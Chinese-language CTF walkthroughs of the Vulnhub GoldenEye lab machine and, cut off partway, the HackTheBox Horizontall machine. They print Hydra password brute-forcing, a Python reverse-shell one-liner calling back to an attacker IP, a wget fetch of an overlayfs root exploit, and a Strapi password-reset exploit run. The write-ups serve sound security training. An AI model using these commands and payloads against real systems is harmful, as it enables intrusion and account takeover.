最近完成了创建OSCP型易受攻击的计算机的工作，该计算机的主题是伟大的James Bond电影（甚至更好的n64游戏）GoldenEye。目标是root并捕获秘密的GoldenEye代码-flag.txt。我认为它是中级的，它具有root所需的多种技术-没有漏洞利用开发/缓冲区溢出。在完成OSCP之后，我认为这将是一个不错的实践，另外还有一点CTF风味。我已经在VMware和VirtualBox上创建并验证。除了默认情况下，您不需要其他工具。将需要设置为“host only”，并且在VMware上，由于格式化，在最初启动它时，如果出现提示，可能需要单击“重试”。

Beta-2018-05-02 v1-2018-05-04

GoldenEye是由creosote发起并在Vulnhub举办的一项以秘密服务为主题的挑战。GoldenEye是一个CTF样式的框，而不是现实的渗透测试方案。此框需要相当多的“即开即用”的思想，才能找到根源。



#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.101
Host is up (0.00025s latency).
MAC Address: 08:00:27:3B:86:3C (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -p- -n -Pn -v -sV 192.168.56.101
PORT      STATE SERVICE     VERSION
25/tcp    open  smtp        Postfix smtpd
80/tcp    open  http        Apache httpd 2.4.7 ((Ubuntu))
55006/tcp open  ssl/unknown
55007/tcp open  pop3        Dovecot pop3d
```
除了在端口80上运行的Web应用程序之外，还有两个pop3端口和一个smtp端口。建议使用主应用程序导航到/sev-home/。但是，该应用程序在浏览到/sev-home/时提示输入用户名和密码，而我对凭证还一无所知。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub132.jpg)

``` bash
root@kali:~# nmap -p 25,80,55006,55007 -A -v -Pn -n -sV -T5 --script=vuln --min-rate=10000 192.168.56.101
PORT      STATE SERVICE     VERSION
25/tcp    open  smtp        Postfix smtpd
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| smtp-vuln-cve2010-4344: 
|_  The SMTP server is not Exim: NOT VULNERABLE
| ssl-dh-params: 
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
|       ANONYMOUS DH GROUP 1
|             Cipher Suite: TLS_DH_anon_WITH_AES_128_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: postfix builtin
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|       https://www.ietf.org/rfc/rfc2246.txt
|   
|   Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
|     State: VULNERABLE
|     IDs:  BID:74733  CVE:CVE-2015-4000
|       The Transport Layer Security (TLS) protocol contains a flaw that is
|       triggered when handling Diffie-Hellman key exchanges defined with
|       the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
|       to downgrade the security of a TLS session to 512-bit export-grade
|       cryptography, which is significantly weaker, allowing the attacker
|       to more easily break the encryption and monitor or tamper with
|       the encrypted stream.
|     Disclosure date: 2015-5-19
|     Check results:
|       EXPORT-GRADE DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 512
|             Generator Length: 8
|             Public Key Length: 512
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
|       https://weakdh.org
|       https://www.securityfocus.com/bid/74733
|   
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: postfix builtin
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  BID:70574  CVE:CVE-2014-3566
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://www.securityfocus.com/bid/70574
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|_      https://www.openssl.org/~bodo/ssl-poodle.pdf
|_sslv2-drown: 
80/tcp    open  http        Apache httpd 2.4.7 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
55006/tcp open  ssl/unknown
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| ssl-dh-params: 
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  BID:70574  CVE:CVE-2014-3566
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://www.securityfocus.com/bid/70574
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|_      https://www.openssl.org/~bodo/ssl-poodle.pdf
|_sslv2-drown: 
55007/tcp open  pop3        Dovecot pop3d
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| ssl-dh-params: 
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  BID:70574  CVE:CVE-2014-3566
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://www.securityfocus.com/bid/70574
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|_      https://www.openssl.org/~bodo/ssl-poodle.pdf
|_sslv2-drown:
```

是时候深入挖掘了！在页面的HTML源代码中，找出了负责漂亮的首页动画的JavaScript文件。在terminal.js上，我找到了第一个提示。用于以HTML编码编码的boris的硬编码密码，这对于解码非常简单。我获得了访问该应用程序的凭据。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub133.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub134.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub135.jpg)

``` bash
&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;

===>

InvincibleHack3r

```

得到账号密码：boris/InvincibleHack3r，然后登录

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub136.jpg)

访问该应用程序没有任何用处。尝试使用相同的凭据访问pop3服务，并检查了鲍里斯经纪人是否有任何有趣的电子邮件。但是，获得的密码不适合用于pop3访问。老实说，在这里停留了一段时间。
没有其他线索，对使用用户名boris的pop3服务进行了快速的暴力破解。Hydra能够使用Kali中存在的fasttrack.txt单词列表来破解密码。

``` bash
root@kali:~# hydra -l boris -P /usr/share/wordlists/fasttrack.txt -t20 192.168.56.101 -s55007 -I pop3Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-09 21:37:45
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 20 tasks per 1 server, overall 20 tasks, 222 login tries (l:1/p:222), ~12 tries per task
[DATA] attacking pop3://192.168.56.101:55007/
[STATUS] 100.00 tries/min, 100 tries in 00:01h, 122 to do in 00:02h, 20 active
[55007][pop3] host: 192.168.56.101   login: boris   password: secret1!
[STATUS] 111.00 tries/min, 222 tries in 00:02h, 1 to do in 00:01h, 19 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-09 21:39:45
```

得到boris/secret1!，然后telnet连接

``` bash
root@kali:~# telnet 192.168.56.101 55007
Trying 192.168.56.101...
Connected to 192.168.56.101.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
user boris
+OK
pass secret1!
+OK Logged in.
retr 1
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id D9E47454B1
        for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
.
retr 2
+OK 373 octets
Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id C3F2B454B1
        for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu

Boris, I can break your codes!
.
retr 3
+OK 921 octets
Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id 4B9F4454B1
        for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.

.
```

电子邮件通讯的内容不可直接利用，但能够找出执行任务的其他特工的用户名。这也可以用于对其他代理发起相同的攻击。很幸运找到了natalya。

``` bash
root@kali:~# hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -t64 192.168.56.101 -s55007 -I pop3
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-09 21:46:23
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 64 tasks per 1 server, overall 64 tasks, 222 login tries (l:1/p:222), ~4 tries per task
[DATA] attacking pop3://192.168.56.101:55007/
[55007][pop3] host: 192.168.56.101   login: natalya   password: bird
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-09 21:46:39
```

natalya/bird，登录

``` bash
root@kali:~# telnet 192.168.56.101 55007
Trying 192.168.56.101...
Connected to 192.168.56.101.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
user natalya
+OK
pass bird
+OK Logged in.
retr 1
+OK 631 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id D5EDA454B1
        for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
.
retr 2
+OK 1048 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 17C96454B1
        for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.


.
```

将关键信息retr 2翻译

``` bash
好的，娜塔琳，我为你准备了一个新学生。由于这是一个新系统，请让我或鲍里斯知道您是否发现任何配置问题，尤其是它与安全性有关……即使不是与安全有关，也可以以“安全性”为名输入它……无需太多麻烦就可以将变更单升级：)
好的，用户凭证是：

用户名：xenia
密码：RCP90rulez!

鲍里斯（Boris）确认她是有效承包商，所以只需创建帐户就可以了吗？如果您没有外部内部域上的URL，请访问：severnaya-station.com/gnocertdir

**请确保编辑您的主机文件，因为您通常在远程网络外工作。由于您是Linux用户，只需将此服务器IP指向/etc/hosts中的severnaya-station.com。
```

修改hosts文件将ip:192.168.56.101指向severnaya-station.com，然后访问域名severnaya-station.com/gnocertdir

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub137.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub138.jpg)

现在，我可以浏览到severnaya-station.com/gnocertdir以xenia的形式访问培训门户。学习门户使用开源学习平台Moodle托管。无法从门户访问任何课程资料或附件。但是，来自GoldenEye项目主管的Doak博士发了言。他在消息中说，他的电子邮件用户名不正确。我在pop3服务上使用hydra尝试了攻击。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub139.jpg)

``` bash
root@kali:~# hydra -l doak -P /usr/share/wordlists/fasttrack.txt -t64 192.168.56.101 -s55007 -I pop3Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-09 22:21:03
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 64 tasks per 1 server, overall 64 tasks, 222 login tries (l:1/p:222), ~4 tries per task
[DATA] attacking pop3://192.168.56.101:55007/
[55007][pop3] host: 192.168.56.101   login: doak   password: goat
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-09 22:21:32
```

doak/goat,

那是特勤人员可以使用的最愚蠢的密码！不过，我可以使用新发现的凭据访问电子邮件通信。通过电子邮件通信，我发现了以代理Doak身份访问moodle的凭据。

``` bash
root@kali:~# telnet 192.168.56.101 55007
Trying 192.168.56.101...
Connected to 192.168.56.101.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
user doak
+OK
pass goat
+OK Logged in.
retr 1
+OK 606 octets
Return-Path: <doak@ubuntu>
X-Original-To: doak
Delivered-To: doak@ubuntu
Received: from doak (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 97DC24549D
        for <doak>; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
Message-Id: <20180425034731.97DC24549D@ubuntu>
Date: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
From: doak@ubuntu

James,
If you're reading this, congrats you've gotten this far. You know how tradecraft works right?

Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......

username: dr_doak
password: 4England!

.
```

username: dr_doak
password: 4England!

我在Doak博士的帐户中发现了一个有趣的附件，该附件说可以从/dir007key/for-007.jpg获取应用程序的管理员凭据。使用隐写术，可以将秘密消息嵌入图像中。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub140.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/007.jpg)

``` bash
root@kali:~# exiftool 007.jpg 
ExifTool Version Number         : 11.80
File Name                       : 007.jpg
Directory                       : .
File Size                       : 15 kB
File Modification Date/Time     : 2020:01:09 22:37:50-05:00
File Access Date/Time           : 2020:01:09 22:37:50-05:00
File Inode Change Date/Time     : 2020:01:09 22:37:50-05:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
X Resolution                    : 300
Y Resolution                    : 300
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : eFdpbnRlcjE5OTV4IQ==
Make                            : GoldenEye
Resolution Unit                 : inches
Software                        : linux
Artist                          : For James
Y Cb Cr Positioning             : Centered
Exif Version                    : 0231
Components Configuration        : Y, Cb, Cr, -
User Comment                    : For 007
Flashpix Version                : 0100
Image Width                     : 313
Image Height                    : 212
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 313x212
Megapixels                      : 0.066
```

将Image Description的base64字符串解码得到:xWinter1995x!

然后使用admin/xWinter1995x!登录即可

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub141.jpg)

#### getshell

 - moodle管理员账户远程代码执行

在获得对moodle的管理员访问权后，获得reverse shell相当容易。在“moodle”设置上，存在用于配置系统路径的设置。Aspell是拼写检查器，可以安装在Linux上，并且可以在moodle中用于进行拼写检查操作。每当启动拼写检查动作时，moodle就会调用Aspell二进制文件。可以编辑Aspell的路径以获得reverse shell。以下是我使用的payload。

``` bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub142.jpg)

正确设置路径后，即可创建任何博客文章或页面。在编辑器上，可以调用spellcheck函数以获得reverse shell连接。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub143.jpg)

然后将下图所示设置选项设置成:PspellShell，不设置的话，无法执行之前的payload...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub144.jpg)

点击上图的按钮之后kali端返回了shell.

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.56.101: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 48087
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ python -c 'import pty; pty.spawn("/bin/sh")'
```

#### 提权

我首先列举了box的操作系统版本。那是一个Ubuntu 14.04.1 box。在Google的搜索中，我发现该机器容易受到overlayfs[EDB-37292](https://www.exploit-db.com/exploits/37292)攻击。我在kali上编译了它，然后将其转移到目标box中。运行漏洞利用程序时出现错误-sh：1：gcc：找不到。

目标框上没有gcc。如果我们检查exploit-db 37292漏洞利用代码，则在第143行上，您可以看到漏洞利用正在调用gcc。好吧，这很棘手。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub145.jpg)

我使用linuxprivchecker.py枚举了该框，以枚举已安装的开发工具。box里没有gcc，但是有cc。cc是原始UNIX c编译器命令的名称。对于cc和gcc的确切区别，我不是专家。我尝试在漏洞利用源代码中将gcc更改为cc并进行编译。生成的二进制文件为我root了box。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub146.jpg)

在kali中编译好exp后，直接wget下载到攻击机的shell中即可，然后赋予777权限，./exp执行，成功提权

``` bash
$ wget http://192.168.56.102:8000/exp
wget http://192.168.56.102:8000/exp
--2020-01-10 06:24:47--  http://192.168.56.102:8000/exp
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17616 (17K) [application/octet-stream]
Saving to: 'exp'

100%[======================================>] 17,616      --.-K/s   in 0s      

2020-01-10 06:24:47 (331 MB/s) - 'exp' saved [17616/17616]

$ ls
ls
changelog.txt  config.php  editor_plugin.js      exp  includes
classes        css         editor_plugin_src.js  img  rpc.php
$ chmod 777 *
chmod 777 *
$ ./exp
./exp
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# whoami
whoami
root
```

找到flag，帅爆了。。。

``` bash
# cd /root
cd /root
# ls
ls
# pwd
pwd
/root
# ls -la
ls -la
total 44
drwx------  3 root root 4096 Apr 29  2018 .
drwxr-xr-x 22 root root 4096 Apr 24  2018 ..
-rw-r--r--  1 root root   19 May  3  2018 .bash_history
-rw-r--r--  1 root root 3106 Feb 19  2014 .bashrc
drwx------  2 root root 4096 Apr 28  2018 .cache
-rw-------  1 root root  144 Apr 29  2018 .flag.txt
-rw-r--r--  1 root root  140 Feb 19  2014 .profile
-rw-------  1 root root 1024 Apr 23  2018 .rnd
-rw-------  1 root root 8296 Apr 29  2018 .viminfo
# cat .flag.txt
cat .flag.txt
Alec told me to place the codes here: 

568628e0d993b1973adc718237da6e93

If you captured this make sure to go here.....
/006-final/xvf7-flag/
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub147.jpg)

最后的flag是这个

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub148.jpg)

一张动图,蛮有意思的。

 - 知识点总结：

1.telnet邮件泄露
2.图片隐写
3.moodle管理员账户远程代码执行
4.Ubuntu 14.04.1版本提权
5.exp overlayfs[EDB-37292] 编译cc执行

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end GoldenEye-1 -->

</details>

<a id="case-horizontall"></a>

## Strapi 认证重置与内部 Laravel

前端信息暴露 API 主机，Strapi 重置和插件执行提供入口；内部 Laravel 调试服务需要通过转发访问。

<p class="kb-provenance">来源 horizontall · 原记录 2021-08-30 · 15 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-horizontall">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start horizontall -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	28 Aug 2021
IP:	10.10.11.105

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2075.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### Nmap

``` bash
┌──(root💀kali)-[~/hackthebox/machine/horizontall]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.105
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

added horizontall.htb to our hosts file. You need to add it to enum further.

#### Webserver

We don't have any intresting thing, so we fuzz for vhost and we get a hit on api-prod.horizontall.htb . So, we also add this to our host file.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/horizontall]
└─# gobuster vhost -u horizontall.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --threads 50         
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://horizontall.htb
[+] Method:       GET
[+] Threads:      50
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2021/08/30 03:18:39 Starting gobuster in VHOST enumeration mode
===============================================================
Found: api-prod.horizontall.htb (Status: 200) [Size: 413]
```

#### api-prod.horizontall.htb

We fuzz for sub directories and we have admin.

``` bash
┌──(root💀kali)-[~/ffuf]
└─# ./ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://api-prod.horizontall.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://api-prod.horizontall.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

admin                   [Status: 200, Size: 854, Words: 98, Lines: 17]
Admin                   [Status: 200, Size: 854, Words: 98, Lines: 17]
users                   [Status: 403, Size: 60, Words: 1, Lines: 1]
reviews                 [Status: 200, Size: 507, Words: 21, Lines: 1]
.                       [Status: 200, Size: 413, Words: 76, Lines: 20]
ADMIN                   [Status: 200, Size: 854, Words: 98, Lines: 17]
Users                   [Status: 403, Size: 60, Words: 1, Lines: 1]
Reviews                 [Status: 200, Size: 507, Words: 21, Lines: 1]
```

#### Strapi Abuse

We have strapi running in this api-prod.horizontall.htb.

``` bash
http://api-prod.horizontall.htb/admin/auth/login
```

There is a password reset vulnerability (CVE-2019-18818), so we abuse it.

https://thatsn0tmysite.wordpress.com/2019/11/15/x05/

#### Password reset

We can easily guess the email of admin.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/horizontall]
└─# curl http://api-prod.horizontall.htb/admin/strapiVersion
{"strapiVersion":"3.0.0-beta.17.4"}
```

The issue was apparently already fixed (gotta love that opensource-quickness) in version beta-17.5 so the target version is exploitable.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/horizontall]
└─# python pass-reset.py admin@horizontall.htb http://api-prod.horizontall.htb password1
[*] Detected version(GET /admin/strapiVersion): 3.0.0-beta.17.4
[*] Sending password reset request...
[*] Setting new password...
[*] Response:
{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMzEwMTQ0LCJleHAiOjE2MzI5MDIxNDR9.YyA-94yJeHk-7h8U8Oxl-NAvXcs9Tp3YeY7OVN3gx5g","user":{"id":3,"username":"admin","email":"admin@horizontall.htb","blocked":null}}
```

And we can successfully login.

#### Strapi RCE

There is blog post that explains about strapi exploit Strapi Framework Vulnerable to Remote Code Execution (CVE-2019-19609).

https://bittherapy.net/post/strapi-framework-remote-code-execution/

To reproduce this issue the app must be using strapi-3.0.0-beta.17.7 or earlier.

``` bash
